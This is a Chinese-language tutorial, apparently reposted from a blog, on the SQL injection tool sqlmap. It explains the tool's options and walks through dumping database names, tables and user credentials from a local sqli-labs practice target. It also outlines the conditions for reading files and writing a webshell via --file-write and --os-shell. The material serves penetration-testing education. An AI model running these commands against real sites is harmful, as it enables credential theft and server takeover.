【网安神器篇】——Sqlmap详解

news2024/11/17 5:41:26
作者名:白昼安全
主页面链接: 主页传送门
创作初心: 舞台再大,你不上台,永远是观众,没人会关心你努不努力,摔的痛不痛,他们只会看你最后站在什么位置,然后羡慕或鄙夷
座右铭: 不要让时代的悲哀成为你的悲哀
专研方向: 网络安全,数据结构
每日emo:多巴胺是让人沉沦的毒,内啡肽才是意志忠实的信徒

一、Sqlmap简介与使用

当我们明白sql注入的原理,渗透过程似乎很简单。但事实上,在实际的渗透当中,漏洞注入并非仅仅只是通过简单的一两次尝试就能够得到测试人员想要的答案。很多时候,它需要经过许多次繁杂的尝试。所以,要提高渗透测试的效率,单纯的依靠测试人员自身的实战经验也是远远不够的。因此,我们需要渗透工具的帮助。而sqlmap就是这样一款强大而且便于操作的渗透测试工具。

sqlmap是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。

1、Sqlmap的安装

Sqlmap下载地址:https://sqlmap.org/

Sqlmap安装完成后,那么即可开始使用。

2、sqlmap的使用

-u

指定目标URL (可以是http协议也可以是https协议)

-d

连接数据库

--dbs

列出所有的数据库

--current-db

列出当前数据库

--tables

列出当前的表

--columns

列出当前的列

-D

选择使用哪个数据库

-T

选择使用哪个表

-C

选择使用哪个列

--dump

获取字段中的数据

--dump-all

拖库

--batch

自动选择yes

--smart

启发式快速判断,节约浪费时间

--forms

尝试使用post注入

-r

加载文件中的HTTP请求(本地保存的请求包txt文件)

-l

加载文件中的HTTP请求(本地保存的请求包日志文件)

-g

自动获取Google搜索的前一百个结果,对有GET参数的URL测试

-o

开启所有默认性能优化

--tamper

调用脚本进行注入

-v

指定sqlmap的回显等级

--delay

设置多久访问一次

--os-shell

获取主机shell,一般不太好用,因为没权限

-m

批量操作

-c

指定配置文件,会按照该配置文件执行动作

-data

data指定的数据会当做post数据提交

-timeout

设定超时时间

-level

设置注入探测等级共有五个等级,默认为1级, 这个参数不仅影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试。总之在你不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。

--is-dba

判断当前用户是否为数据库管理员权限

--risk

风险等级

--identify-waf

检测防火墙类型

--param-del="分割符"

设置参数的分割符

--skip-urlencode

不进行url编码

--keep-alive

设置持久连接,加快探测速度

--null-connection

检索没有body响应的内容,多用于盲注

--thread

最大为10 设置多线程

--delay

有些web服务器请求访问太过频繁可能会被防火墙拦截,使用--delay就可以设定两次http请求的延时

--safe-url

有的web服务器会在多次错误的访问请求后屏蔽所有请求,使用--safe-url 就可以每隔一段时间去访问一个正常的页面。

--technique

指定注入类型

B:Boolean-based-blind (布尔型型注入)

E:Error-based (报错型注入)

U:Union query-based (联合注入)

S:Starked queries (通过sqlmap读取文件系统、操作系统、注册表必须 使用该参数,可多语句查询注入)

T:Time-based blind (基于时间延迟注入)

--tamper

语法:--tamper ["脚本名称"]

当调用多个脚本的时候,脚本之间用逗号隔开,调用的脚本在 sqlmap文件夹下的 tamper 文件夹中

-v ["x"]

使用sqlmap注入测试时,可以使用 -v [x] 参数来指定回显信息的复杂程度, x 的取值范围为[0~6]:

等级

解释

0

只显示python错误以及严重信息

1

同时显示基本信息和警告信息

2

同时显示debug信息

3

同时显示注入的pyload

4

同时显示HTTP请求

5

同时显示HTTP相应头

6

同时显示HTTP相应页面

二、Sqlmap自动化基础注入实战

环境:sql-lib靶场第一关,url如下

http://127.0.0.1/targetrange/sqli-labs-master/Less-1/?id=1

1、取数据库名

python sqlmap.py -u "http://127.0.0.1/targetrange/sqli-labs-master/Less-1/?id=1" --dbs --batch

效果如下

2、读取表名

python sqlmap.py -u "http://127.0.0.1/targetrange/sqli-labs-master/Less-1/?id=1" -D "security" --tables --batch

效果如下

3、读取字段名

python sqlmap.py -u "http://127.0.0.1/targetrange/sqli-labs-master/Less-1/?id=1" -D "security" -T “users” --columns --batch

效果如下

4、读取数据

python sqlmap.py -u "http://127.0.0.1/targetrange/sqli-labs-master/Less-1/?id=1" -D "security" -T “users” -C “username,password” --dump --batch

效果如下

三、sqlmap读取目标系统文件

利用sqlmap读取文件,也是需要满足条件的。

(1)当前sql注入用户必须为DBA权限(--is-dba为true)

(2)需要知道网站的绝对路径

(3)My.ini文件中的这项配置secure_file_priv=””为空

四、通过sqlmap写入webshell

Sqlmap写入webshell也是和手工写入webshell一样需要满足条件:

(1)当前sql注入用户必须为DBA权限(--is-dba为true)
(2)需要知道网站的绝对路径
(3)My.ini文件中的这项配置secure_file_priv=””为空

这个操作和通过sql注入的union配合into outfile原理一样,只不过sqlmap提供了一键化操作,格式如下即可

--file-write //要写入的文件
--file-dest //写入文件存放的路径

具体操作就是通过--os-shell,相信很多同学应该都会了,所以这里就不多讲了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/160501.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C语言 自定义类型 之 【联合体(共用体)】

文章目录前言联合体(UNION)类型的定义联合体的特点联合体大小的计算联合体使用的典型例题 — 判断机器的大小端写在最后前言 联合体(union)在C语言中是不常用的,不过存在就必然有其有用之处,这里不深入探讨联合体用在何处有什么用…

R语言实现牛顿插值

文章目录4 差商与牛顿插值差商牛顿插值4 差商与牛顿插值 差商 如果采取间隔不等的采样,差商会变得稍显复杂,对于x0,x1,…,xnx_0,x_1,\ldots,x_nx0​,x1​,…,xn​,若与y0,y1,…,yny_0,y_1,\ldots,y_ny0​,y1​,…,yn​通过映射fff一一对应&…

ASEMI整流桥KBP310电路设计注意事项

编辑-Z 型号:KBP310 最大重复峰值反向电压(VRRM):1000V 最大平均正向整流输出电流(IF):3.0A 峰值正向浪涌电流(IFSM):60A 每个元件的典型热阻&#xff0…

MySQL LOAD VS DM8 dmfldr

MySQL LOAD VS DM8 dmfldr 背景 某业务系统从MySQL迁移至达梦后,有导入业务文件的功能使用MySQL的LOAD方式将csv文件导入到指定的表中。迁移到达梦后,该功能需要进行对应的调整(因为达梦没有LOAD功能),但达梦提供了dm…

【自定义类型】-结构体,枚举,联合

🎇作者:小树苗渴望变成参天大树 💖作者宣言:认真写好每一篇博客 🧨作者gitee:link 如 果 你 喜 欢 作 者 的 文 章 ,就 给 作 者 点 点 关 注 吧! 🎊自定义类型🎉前言&a…

osg fbo(二),将颜色缓冲区图片铺在全屏

其实,需要两个摄像机,一个是采样摄像机,一个是最终显示的摄像机。 osg fbo(一)中,passRoot直接加的面片,现在通过最终显示摄像机来代替,passRoot加上这两个摄像机即可。 //passRoot->addCh…

jmeter编写压测脚本规范

一、压测时长 压测时长,一般为10分钟或者15分钟。 设置时长: 勾选 永远--持续时间(秒) 二、脚本编写规范 脚本越简单越好,多余的监听会影响jmeter的性能,继而影响到压测结果。 一个基础的脚本&#xf…

Web前端axios从入门

1 axios是什么 前端最流行的 ajax请求库, https://gitcode.net/mirrors/axios/axios?utm_sourcecsdn_github_accelerator 基于promise的异步ajax请求库浏览器端/node端都可以使用支持请求/响应拦截器支持请求取消请求/响应数据转换批量发送多个请求 2 json-serv…

论文解读OTA: Optimal Transport Assignment for Object Detection

CSDN优秀解读:https://blog.csdn.net/jiaoyangwm/article/details/126638775 2021 https://arxiv.org/pdf/2103.14259.pdf 关键解读 在目标检测中标签分配的最新进展主要寻求为每个GT对象独立定义正/负训练样本。在本文中,我们创新性地从全局的角度重…

SpringCloudAlibaba商城实战项目(day01)

前言 闲来无事在B站找了一个项目,是谷粒商城的项目,于是乎照着在敲这个项目,特此记录一下。会持续更新到这个项目敲完。这个记录偏向小白向,确保你照着敲也可以完成所有项目的搭建。 一、简介 1.1、项目架构图 1.2、服务列表 …

CAN Bus cable simulation

REF:CAN总线标准接口与布线规范 https://zhuanlan.zhihu.com/p/34333969高速CAN总线物理层对线束的要求 https://www.suncve.com/the-requirement-of-physical-layer-of-can-bus-for-wiring-harness/利用LTSPICE 做仿真, 选用的是 ADI的 CAN transceiver…

RabbitMQ快速入门之进阶

RabbitMQ快速入门之进阶 进阶RabbitMQ快速入门之进阶1、confirm 模式的设置2、return 退回模式的处理3、消费者 Ack,手动确认4、消费端限流 (流量削缝)5、TTL存活时间过期时间6、死信队列DLX7、延迟队列 (TTL DLX)1、confirm 模式的设置 *c…

VSCode使用Clangd

前言 在使用微软的C/C插件时,遇到较大项目时,代码提示速度非常的慢,这时可以使用clangd 1、系统安装clangd 版本选择:Linux github仓库: https://github.com/clangd/clangd/releases 解压下载好的安装包: unzip cla…

Python实现小米蓝牙温湿度计2 Home Assistant 自定义组件源码

小米 米家蓝牙温湿度计2 这是一个Home Assistant自定义组件,用于 Home Assistant 通过 蓝牙适配器 直接集成 小米 米家蓝牙温湿度计 (LYWSDCGQ/01ZM) 和 米家蓝牙温湿度计2 (LYWSD03MMC)。 v0.2.0-dev版本以后,已经支持自动发现功能,不需要…

Leetcode:501. 二叉搜索树中的众数(C++)

目录 问题描述: 实现代码与解析: 通用写法(递归): 原理思路: 依据二叉搜索树特性写法(递归): 原理思路: 迭代: 原理思路: 问题…

Android Compose——一个简单的新闻APP

Owl简述效果视频导航导航结点路线图底部导航栏使用标签页状态切换FeaturePage构建CoursePage实现搜索ViewModelView详情页DetailDescribeLesson尾Gitte简述 此Demo是参考Google Github其中一个Demo而完成,涉及的内容并不复杂,主要是为了熟悉Compose编码…

2022爱分析・出海数字化系列报告之“出海实时互动与通信”厂商全景报告 | 爱分析报告

报告编委 张扬 爱分析联合创始人&首席分析师 文鸿伟 爱分析高级分析师 王鹏 爱分析分析师 目录 研究范围定义厂商全景地图市场分析与厂商评估入选厂商列表研究范围定义 研究范围 改革开放四十多年来,中国企业经历了自商品出海到当前的品牌出海,出海…

Servlet的使用

作者:~小明学编程 文章专栏:JavaEE 格言:热爱编程的,终将被编程所厚爱。 目录 什么是Servlet? 创建一个Servlet程序 1.创建一个Maven项目 2.引入依赖 3.创建目录 4.编写代码 5.打包 6.部署程序 7.验证程序 …

Rust如何进行模块化开发?

类似es6的模块化,Rust通过package、create、module来实现代码的模块化管理 Rust如何进行模块化开发? Rust的代码组织包括:哪些细节可以暴露,哪些细节是私有的,作用域内哪些名称有效等等。 而这些功能被统称为模块系统…

晒成绩单了,百度智能云交出2022年终大考试卷!

晒成绩单了,百度智能云交出2022年终大考试卷! 2023年伊始,工厂加快步伐复工复产、城市烟火气涌现、消费活力加速释放,企业对未来发展呈现乐观预期。有外媒称,“中国经济将实现比预期更快的复苏””。 站在更宏观的视…